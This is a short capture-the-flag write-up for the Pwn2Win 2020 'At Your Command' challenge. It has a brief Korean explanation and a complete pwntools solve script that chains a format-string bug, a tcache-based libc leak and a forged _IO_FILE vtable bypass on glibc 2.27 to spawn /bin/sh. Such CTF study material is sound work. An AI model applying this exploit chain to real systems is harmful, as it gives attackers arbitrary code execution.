2020 Pwn2Win CTF At Your Command

  • glibc 2.27 tcache

  • _IO_FILE vtable check bypass

fake 구조체 만들고 fsb로 아다리 잘 맞춰주고 fp->system(“/bin/sh”); 만들어주면 된다.

solve.py

from pwn import *
from ctypes import *

# context.log_level = 'debug'
e = ELF('./command')
p = process('./command',aslr=True)
lib = CDLL('libc.so.6')
libc = e.libc
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
buf = 0x0000000000202060
filename = 0x0000000000202080

def menu(num):
	sla('>',str(num))

def include(priority,data):
	menu(1)
	sla(':',str(priority))
	sa(':',data)

def review(idx):
	menu(2)
	sla(':',str(idx))

def delete(idx):
	menu(3)
	sla(':',str(idx))

def lists():
	menu(4)

def send():
	menu(5)

p.sendafter(':',"%{}c%4$hn".format(0x1260)) # name

# tcache bin -> 7 -> unsorted bin attack
for i in range(8):
	include(1,'A')

for i in range(1,8):
	delete(i)

delete(0)

for i in range(7):
	include(1,'B')

include(1,'!')
review(7)
p.recvuntil('!')
leak = u64('\x21'+p.recv(5)+'\x00\x00')
libc_base = leak - 0x3ebc21
log.info('libc_base : {}'.format(hex(libc_base)))
io_file_jumps = libc_base + libc.symbols['_IO_file_jumps']
log.info('io_file_jumps : {}'.format(hex(io_file_jumps)))
io_str_overflow = io_file_jumps + 0xd8
log.info('io_str_overflow : {}'.format(hex(io_str_overflow)))
fake_vtable = io_str_overflow - 16
log.info('fake_vtable : {}'.format(hex(fake_vtable)))
system = libc_base + libc.symbols['system']
log.info('system : {}'.format(hex(system)))
binsh = libc_base + libc.search('/bin/sh\x00').next()
log.info('binsh : {}'.format(hex(binsh)))

# payload = p64(0xfbad2400) # flags
payload = p64(0x0) # _IO_read_ptr
payload += p64(0x0) # _IO_read_end
payload += p64(0x0) # _IO_read_base
payload += p64(0x0) # _IO_write_base
payload += p64( ( (binsh - 100) / 2 )) # _IO_write_ptr
payload += p64(0x0) # _IO_write_end
payload += p64(0x0) # _IO_buf_base
payload += p64( ( (binsh - 100) / 2 )) # _IO_buf_end
payload += p64(0x0) # _IO_save_base
payload += p64(0x0) # _IO_backup_base
payload += p64(0x0) # _IO_save_end
payload += p64(0x0) # _IO_marker
payload += p64(0x0) # _IO_chain
payload += p64(0x0) # _fileno
payload += p64(0x0) # _old_offset
payload += p64(0x0)
payload += p64(libc_base + 0x3eb1b0) # _lock 
payload += p64(0x0)*9
payload += p64(fake_vtable) # io_file_jump overwrite 
payload += p64(system) # fp->_s._allocate_buffer RIP

delete(7)
include(0xfbad1800,payload)
send()

p.sendlineafter('Are you sending the commands to which rbs?','1')

# (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
p.interactive()